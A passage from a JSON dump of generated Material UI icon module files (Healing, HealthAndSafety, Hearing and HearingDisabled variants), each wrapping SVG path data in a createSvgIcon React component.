1-.45 1-1 1m2 2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m2.66 9.34-3.63-3.62 3.63-3.63 3.62 3.62z\"\n}, \"1\")], 'HealingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HealingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.03 16.72 3.63 3.62 3.62-3.63-3.62-3.62zM7.29 3.71 3.66 7.34l3.63 3.62 3.62-3.63z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.73 12.02 3.98-3.98c.39-.39.39-1.02 0-1.41l-4.34-4.34a.996.996 0 0 0-1.41 0l-3.98 3.98L8 2.29C7.8 2.1 7.55 2 7.29 2c-.25 0-.51.1-.7.29L2.25 6.63c-.39.39-.39 1.02 0 1.41l3.98 3.98L2.25 16c-.39.39-.39 1.02 0 1.41l4.34 4.34c.39.39 1.02.39 1.41 0l3.98-3.98 3.98 3.98c.2.2.45.29.71.29s.51-.1.71-.29l4.34-4.34c.39-.39.39-1.02 0-1.41zM12 9c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-4.71 1.96L3.66 7.34l3.63-3.63 3.62 3.62zM10 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2 2c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m2-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m2.66 9.34-3.63-3.62 3.63-3.63 3.62 3.62z\"\n}, \"1\")], 'HealingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HealthAndSafety.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.5 13H8v-3h2.5V7.5h3V10H16v3h-2.5v2.5h-3zM12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5z\"\n}), 'HealthAndSafety');"
  },
  {
    "path": "packages/mui-icons-material/lib/HealthAndSafety.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.5 13H8v-3h2.5V7.5h3V10H16v3h-2.5v2.5h-3zM12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5z\"\n}), 'HealthAndSafety');"
  },
  {
    "path": "packages/mui-icons-material/lib/HealthAndSafetyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.5 13H8v-3h2.5V7.5h3V10H16v3h-2.5v2.5h-3zM12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83v-4.7l6-2.25 6 2.25z\"\n}), 'HealthAndSafetyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HealthAndSafetyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.5 13H8v-3h2.5V7.5h3V10H16v3h-2.5v2.5h-3zM12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83v-4.7l6-2.25 6 2.25z\"\n}), 'HealthAndSafetyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HealthAndSafetyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.5 13h-1c-.83 0-1.5-.67-1.5-1.5S8.67 10 9.5 10h1V9c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v1h1c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5h-1v1c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5zm.8-10.74-6 2.25C4.52 4.81 4 5.55 4 6.39v4.7c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91v-4.7c0-.83-.52-1.58-1.3-1.87l-6-2.25c-.45-.18-.95-.18-1.4-.01\"\n}), 'HealthAndSafetyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HealthAndSafetyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.5 13h-1c-.83 0-1.5-.67-1.5-1.5S8.67 10 9.5 10h1V9c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v1h1c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5h-1v1c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5zm.8-10.74-6 2.25C4.52 4.81 4 5.55 4 6.39v4.7c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91v-4.7c0-.83-.52-1.58-1.3-1.87l-6-2.25c-.45-.18-.95-.18-1.4-.01\"\n}), 'HealthAndSafetyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HealthAndSafetySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.5 13H8v-3h2.5V7.5h3V10H16v3h-2.5v2.5h-3zM12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5z\"\n}), 'HealthAndSafetySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HealthAndSafetySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.5 13H8v-3h2.5V7.5h3V10H16v3h-2.5v2.5h-3zM12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5z\"\n}), 'HealthAndSafetySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HealthAndSafetyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4.14 6 6.39v4.7c0 4 2.55 7.7 6 8.83 3.45-1.13 6-4.82 6-8.83v-4.7zM16 13h-2.5v2.5h-3V13H8v-3h2.5V7.5h3V10H16z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.5 13H8v-3h2.5V7.5h3V10H16v3h-2.5v2.5h-3zM12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83v-4.7l6-2.25 6 2.25z\"\n}, \"1\")], 'HealthAndSafetyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HealthAndSafetyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4.14 6 6.39v4.7c0 4 2.55 7.7 6 8.83 3.45-1.13 6-4.82 6-8.83v-4.7zM16 13h-2.5v2.5h-3V13H8v-3h2.5V7.5h3V10H16z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.5 13H8v-3h2.5V7.5h3V10H16v3h-2.5v2.5h-3zM12 2 4 5v6.09c0 5.05 3.41 9.76 8 10.91 4.59-1.15 8-5.86 8-10.91V5zm6 9.09c0 4-2.55 7.7-6 8.83-3.45-1.13-6-4.82-6-8.83v-4.7l6-2.25 6 2.25z\"\n}, \"1\")], 'HealthAndSafetyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Hearing.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 20c-.29 0-.56-.06-.76-.15-.71-.37-1.21-.88-1.71-2.38-.51-1.56-1.47-2.29-2.39-3-.79-.61-1.61-1.24-2.32-2.53C9.29 10.98 9 9.93 9 9c0-2.8 2.2-5 5-5s5 2.2 5 5h2c0-3.93-3.07-7-7-7S7 5.07 7 9c0 1.26.38 2.65 1.07 3.9.91 1.65 1.98 2.48 2.85 3.15.81.62 1.39 1.07 1.71 2.05.6 1.82 1.37 2.84 2.73 3.55.51.23 1.07.35 1.64.35 2.21 0 4-1.79 4-4h-2c0 1.1-.9 2-2 2M7.64 2.64 6.22 1.22C4.23 3.21 3 5.96 3 9s1.23 5.79 3.22 7.78l1.41-1.41C6.01 13.74 5 11.49 5 9s1.01-4.74 2.64-6.36M11.5 9c0 1.38 1.12 2.5 2.5 2.5s2.5-1.12 2.5-2.5-1.12-2.5-2.5-2.5-2.5 1.12-2.5 2.5\"\n}), 'Hearing');"
  },
  {
    "path": "packages/mui-icons-material/lib/Hearing.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 20c-.29 0-.56-.06-.76-.15-.71-.37-1.21-.88-1.71-2.38-.51-1.56-1.47-2.29-2.39-3-.79-.61-1.61-1.24-2.32-2.53C9.29 10.98 9 9.93 9 9c0-2.8 2.2-5 5-5s5 2.2 5 5h2c0-3.93-3.07-7-7-7S7 5.07 7 9c0 1.26.38 2.65 1.07 3.9.91 1.65 1.98 2.48 2.85 3.15.81.62 1.39 1.07 1.71 2.05.6 1.82 1.37 2.84 2.73 3.55.51.23 1.07.35 1.64.35 2.21 0 4-1.79 4-4h-2c0 1.1-.9 2-2 2M7.64 2.64 6.22 1.22C4.23 3.21 3 5.96 3 9s1.23 5.79 3.22 7.78l1.41-1.41C6.01 13.74 5 11.49 5 9s1.01-4.74 2.64-6.36M11.5 9c0 1.38 1.12 2.5 2.5 2.5s2.5-1.12 2.5-2.5-1.12-2.5-2.5-2.5-2.5 1.12-2.5 2.5\"\n}), 'Hearing');"
  },
  {
    "path": "packages/mui-icons-material/lib/HearingDisabled.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.03 3.2C7.15 2.44 8.51 2 10 2c3.93 0 7 3.07 7 7 0 1.26-.38 2.65-1.07 3.9-.02.04-.05.08-.08.13l-1.48-1.48c.4-.86.63-1.75.63-2.55 0-2.8-2.2-5-5-5-.92 0-1.76.26-2.5.67zm11.18 11.18 1.43 1.43C20.11 13.93 21 11.57 21 9c0-3.04-1.23-5.79-3.22-7.78l-1.42 1.42C17.99 4.26 19 6.51 19 9c0 2.02-.67 3.88-1.79 5.38M10 6.5c-.21 0-.4.03-.59.08l3.01 3.01c.05-.19.08-.38.08-.59 0-1.38-1.12-2.5-2.5-2.5m11.19 14.69L2.81 2.81 1.39 4.22l2.13 2.13C3.19 7.16 3 8.05 3 9h2c0-.36.05-.71.12-1.05l6.61 6.61c-.88.68-1.78 1.41-2.27 2.9-.5 1.5-1 2.01-1.71 2.38-.19.1-.46.16-.75.16-1.1 0-2-.9-2-2H3c0 2.21 1.79 4 4 4 .57 0 1.13-.12 1.64-.35 1.36-.71 2.13-1.73 2.73-3.55.32-.98.9-1.43 1.71-2.05.03-.02.05-.04.08-.06l6.62 6.62z\"\n}), 'HearingDisabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/HearingDisabled.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.03 3.2C7.15 2.44 8.51 2 10 2c3.93 0 7 3.07 7 7 0 1.26-.38 2.65-1.07 3.9-.02.04-.05.08-.08.13l-1.48-1.48c.4-.86.63-1.75.63-2.55 0-2.8-2.2-5-5-5-.92 0-1.76.26-2.5.67zm11.18 11.18 1.43 1.43C20.11 13.93 21 11.57 21 9c0-3.04-1.23-5.79-3.22-7.78l-1.42 1.42C17.99 4.26 19 6.51 19 9c0 2.02-.67 3.88-1.79 5.38M10 6.5c-.21 0-.4.03-.59.08l3.01 3.01c.05-.19.08-.38.08-.59 0-1.38-1.12-2.5-2.5-2.5m11.19 14.69L2.81 2.81 1.39 4.22l2.13 2.13C3.19 7.16 3 8.05 3 9h2c0-.36.05-.71.12-1.05l6.61 6.61c-.88.68-1.78 1.41-2.27 2.9-.5 1.5-1 2.01-1.71 2.38-.19.1-.46.16-.75.16-1.1 0-2-.9-2-2H3c0 2.21 1.79 4 4 4 .57 0 1.13-.12 1.64-.35 1.36-.71 2.13-1.73 2.73-3.55.32-.98.9-1.43 1.71-2.05.03-.02.05-.04.08-.06l6.62 6.62z\"\n}), 'HearingDisabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/HearingDisabledOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.03 3.2C7.15 2.44 8.51 2 10 2c3.93 0 7 3.07 7 7 0 1.26-.38 2.65-1.07 3.9-.02.04-.05.08-.08.13l-1.48-1.48c.4-.86.63-1.75.63-2.55 0-2.8-2.2-5-5-5-.92 0-1.76.26-2.5.67zm11.18 11.18 1.43 1.43C20.11 13.93 21 11.57 21 9c0-3.04-1.23-5.79-3.22-7.78l-1.42 1.42C17.99 4.26 19 6.51 19 9c0 2.02-.67 3.88-1.79 5.38M10 6.5c-.21 0-.4.03-.59.08l3.01 3.01c.05-.19.08-.38.08-.59 0-1.38-1.12-2.5-2.5-2.5m11.19 14.69L2.81 2.81 1.39 4.22l2.13 2.13C3.19 7.16 3 8.05 3 9h2c0-.36.05-.71.12-1.05l6.61 6.61c-.88.68-1.78 1.41-2.27 2.9-.5 1.5-1 2.01-1.71 2.38-.19.1-.46.16-.75.16-1.1 0-2-.9-2-2H3c0 2.21 1.79 4 4 4 .57 0 1.13-.12 1.64-.35 1.36-.71 2.13-1.73 2.73-3.55.32-.98.9-1.43 1.71-2.05.03-.02.05-.04.08-.06l6.62 6.62z\"\n}), 'HearingDisabledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HearingDisabledOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.03 3.2C7.15 2.44 8.51 2 10 2c3.93 0 7 3.07 7 7 0 1.26-.38 2.65-1.07 3.9-.02.04-.05.08-.08.13l-1.48-1.48c.4-.86.63-1.75.63-2.55 0-2.8-2.2-5-5-5-.92 0-1.76.26-2.5.67zm11.18 11.18 1.43 1.43C20.11 13.93 21 11.57 21 9c0-3.04-1.23-5.79-3.22-7.78l-1.42 1.42C17.99 4.26 19 6.51 19 9c0 2.02-.67 3.88-1.79 5.38M10 6.5c-.21 0-.4.03-.59.08l3.01 3.01c.05-.19.08-.38.08-.59 0-1.38-1.12-2.5-2.5-2.5m11.19 14.69L2.81 2.81 1.39 4.22l2.13 2.13C3.19 7.16 3 8.05 3 9h2c0-.36.05-.71.12-1.05l6.61 6.61c-.88.68-1.78 1.41-2.27 2.9-.5 1.5-1 2.01-1.71 2.38-.19.1-.46.16-.75.16-1.1 0-2-.9-2-2H3c0 2.21 1.79 4 4 4 .57 0 1.13-.12 1.64-.35 1.36-.71 2.13-1.73 2.73-3.55.32-.98.9-1.43 1.71-2.05.03-.02.05-.04.08-.06l6.62 6.62z\"\n}), 'HearingDisabledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HearingDisabledRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.96 3.3c-.32-.39-.29-.96.07-1.32l.01-.01c.42-.42 1.12-.38 1.49.08C20.07 3.94 21 6.36 21 9c0 2.57-.89 4.94-2.36 6.81l-1.43-1.43C18.33 12.88 19 11.02 19 9c0-2.17-.77-4.16-2.04-5.7M7.49 4.66C8.23 4.24 9.08 4 10 4c2.8 0 5 2.2 5 5 0 .8-.23 1.69-.63 2.54l1.48 1.48c.02-.04.05-.08.08-.13C16.62 11.65 17 10.26 17 9c0-3.93-3.07-7-7-7-1.49 0-2.85.44-3.97 1.2zM10 6.5c-.21 0-.4.03-.59.08l3.01 3.01c.05-.19.08-.38.08-.59 0-1.38-1.12-2.5-2.5-2.5m10.49 13.99L3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l1.42 1.42c-.2.49-.35 1-.43 1.54-.1.59.38 1.12.97 1.12h.04c.48 0 .89-.35.96-.82.02-.08.04-.16.06-.23l6.62 6.62c-.88.68-1.78 1.41-2.27 2.9-.5 1.5-1 2.01-1.71 2.38-.2.09-.47.15-.76.15-.88 0-1.63-.58-1.9-1.37-.13-.39-.53-.63-.95-.63-.66 0-1.15.64-.95 1.26C3.73 20.85 5.23 22 7 22c.57 0 1.13-.12 1.64-.35 1.36-.71 2.13-1.73 2.73-3.55.32-.98.9-1.43 1.71-2.05.03-.02.05-.04.08-.06l5.91 5.91c.39.39 1.02.39 1.41 0 .4-.39.4-1.02.01-1.41\"\n}), 'HearingDisabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HearingDisabledRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.96 3.3c-.32-.39-.29-.96.07-1.32l.01-.01c.42-.42 1.12-.38 1.49.08C20.07 3.94 21 6.36 21 9c0 2.57-.89 4.94-2.36 6.81l-1.43-1.43C18.33 12.88 19 11.02 19 9c0-2.17-.77-4.16-2.04-5.7M7.49 4.66C8.23 4.24 9.08 4 10 4c2.8 0 5 2.2 5 5 0 .8-.23 1.69-.63 2.54l1.48 1.48c.02-.04.05-.08.08-.13C16.62 11.65 17 10.26 17 9c0-3.93-3.07-7-7-7-1.49 0-2.85.44-3.97 1.2zM10 6.5c-.21 0-.4.03-.59.08l3.01 3.01c.05-.19.08-.38.08-.59 0-1.38-1.12-2.5-2.5-2.5m10.49 13.99L3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l1.42 1.42c-.2.49-.35 1-.43 1.54-.1.59.38 1.12.97 1.12h.04c.48 0 .89-.35.96-.82.02-.08.04-.16.06-.23l6.62 6.62c-.88.68-1.78 1.41-2.27 2.9-.5 1.5-1 2.01-1.71 2.38-.2.09-.47.15-.76.15-.88 0-1.63-.58-1.9-1.37-.13-.39-.53-.63-.95-.63-.66 0-1.15.64-.95 1.26C3.73 20.85 5.23 22 7 22c.57 0 1.13-.12 1.64-.35 1.36-.71 2.13-1.73 2.73-3.55.32-.98.9-1.43 1.71-2.05.03-.02.05-.04.08-.06l5.91 5.91c.39.39 1.02.39 1.41 0 .4-.39.4-1.02.01-1.41\"\n}), 'HearingDisabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HearingDisabledSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.03 3.2C7.15 2.44 8.51 2 10 2c3.93 0 7 3.07 7 7 0 1.26-.38 2.65-1.07 3.9-.02.04-.05.08-.08.13l-1.48-1.48c.4-.86.63-1.75.63-2.55 0-2.8-2.2-5-5-5-.92 0-1.76.26-2.5.67zm11.18 11.18 1.43 1.43C20.11 13.93 21 11.57 21 9c0-3.04-1.23-5.79-3.22-7.78l-1.42 1.42C17.99 4.26 19 6.51 19 9c0 2.02-.67 3.88-1.79 5.38M10 6.5c-.21 0-.4.03-.59.08l3.01 3.01c.05-.19.08-.38.08-.59 0-1.38-1.12-2.5-2.5-2.5m11.19 14.69L2.81 2.81 1.39 4.22l2.13 2.13C3.19 7.16 3 8.05 3 9h2c0-.36.05-.71.12-1.05l6.61 6.61c-.88.68-1.78 1.41-2.27 2.9-.5 1.5-1 2.01-1.71 2.38-.19.1-.46.16-.75.16-1.1 0-2-.9-2-2H3c0 2.21 1.79 4 4 4 .57 0 1.13-.12 1.64-.35 1.36-.71 2.13-1.73 2.73-3.55.32-.98.9-1.43 1.71-2.05.03-.02.05-.04.08-.06l6.62 6.62z\"\n}), 'HearingDisabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HearingDisabledSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.03 3.2C7.15 2.44 8.51 2 10 2c3.93 0 7 3.07 7 7 0 1.26-.38 2.65-1.07 3.9-.02.04-.05.08-.08.13l-1.48-1.48c.4-.86.63-1.75.63-2.55 0-2.8-2.2-5-5-5-.92 0-1.76.26-2.5.67zm11.18 11.18 1.43 1.43C20.11 13.93 21 11.57 21 9c0-3.04-1.23-5.79-3.22-7.78l-1.42 1.42C17.99 4.26 19 6.51 19 9c0 2.02-.67 3.88-1.79 5.38M10 6.5c-.21 0-.4.03-.59.08l3.01 3.01c.05-.19.08-.38.08-.59 0-1.38-1.12-2.5-2.5-2.5m11.19 14.69L2.81 2.81 1.39 4.22l2.13 2.13C3.19 7.16 3 8.05 3 9h2c0-.36.05-.71.12-1.05l6.61 6.61c-.88.68-1.78 1.41-2.27 2.9-.5 1.5-1 2.01-1.71 2.38-.19.1-.46.16-.75.16-1.1 0-2-.9-2-2H3c0 2.21 1.79 4 4 4 .57 0 1.13-.12 1.64-.35 1.36-.71 2.13-1.73 2.73-3.55.32-.98.9-1.43 1.71-2.05.03-.02.05-.04.08-.06l6.62 6.62z\"\n}), 'HearingDisabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HearingDisabledTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.03 3.2C7.15 2.44 8.51 2 10 2c3.93 0 7 3.07 7 7 0 1.26-.38 2.65-1.07 3.9-.02.04-.05.08-.08.13l-1.48-1.48c.4-.86.63-1.75.63-2.55 0-2.8-2.2-5-5-5-.92 0-1.76.26-2.5.67zm11.18 11.18 1.43 1.43C20.11 13.93 21 11.57 21 9c0-3.04-1.23-5.79-3.22-7.78l-1.42 1.42C17.99 4.26 19 6.51 19 9c0 2.02-.67 3.88-1.79 5.38M10 6.5c-.21 0-.4.03-.59.08l3.01 3.01c.05-.19.08-.38.08-.59 0-1.38-1.12-2.5-2.5-2.5m11.19 14.69L2.81 2.81 1.39 4.22l2.13 2.13C3.19 7.16 3 8.05 3 9h2c0-.36.05-.71.12-1.05l6.61 6.61c-.88.68-1.78 1.41-2.27 2.9-.5 1.5-1 2.01-1.71 2.38-.19.1-.46.16-.75.16-1.1 0-2-.9-2-2H3c0 2.21 1.79 4 4 4 .57 0 1.13-.12 1.64-.35 1.36-.71 2.13-1.73 2.73-3.55.32-.98.9-1.43 1.71-2.05.03-.02.05-.04.08-.06l6.62 6.62z\"\n}), 'HearingDisabledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HearingDisabledTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.03 3.2C7.15 2.44 8.51 2 10 2c3.93 0 7 3.07 7 7 0 1.26-.38 2.65-1.07 3.9-.02.04-.05.08-.08.13l-1.48-1.48c.4-.86.63-1.75.63-2.55 0-2.8-2.2-5-5-5-.92 0-1.76.26-2.5.67zm11.18 11.18 1.43 1.43C20.11 13.93 21 11.57 21 9c0-3.04-1.23-5.79-3.22-7.78l-1.42 1.42C17.99 4.26 19 6.51 19 9c0 2.02-.67 3.88-1.79 5.38M10 6.5c-.21 0-.4.03-.59.08l3.01 3.01c.05-.19.08-.38.08-.59 0-1.38-1.12-2.5-2.5-2.5m11.19 14.69L2.81 2.81 1.39 4.22l2.13 2.13C3.19 7.16 3 8.05 3 9h2c0-.36.05-.71.12-1.05l6.61 6.61c-.88.68-1.78 1.41-2.27 2.9-.5 1.5-1 2.01-1.71 2.38-.19.1-.46.16-.75.16-1.1 0-2-.9-2-2H3c0 2.21 1.79 4 4 4 .57 0 1.13-.12 1.64-.35 1.36-.71 2.13-1.73 2.73-3.55.32-.98.9-1.43 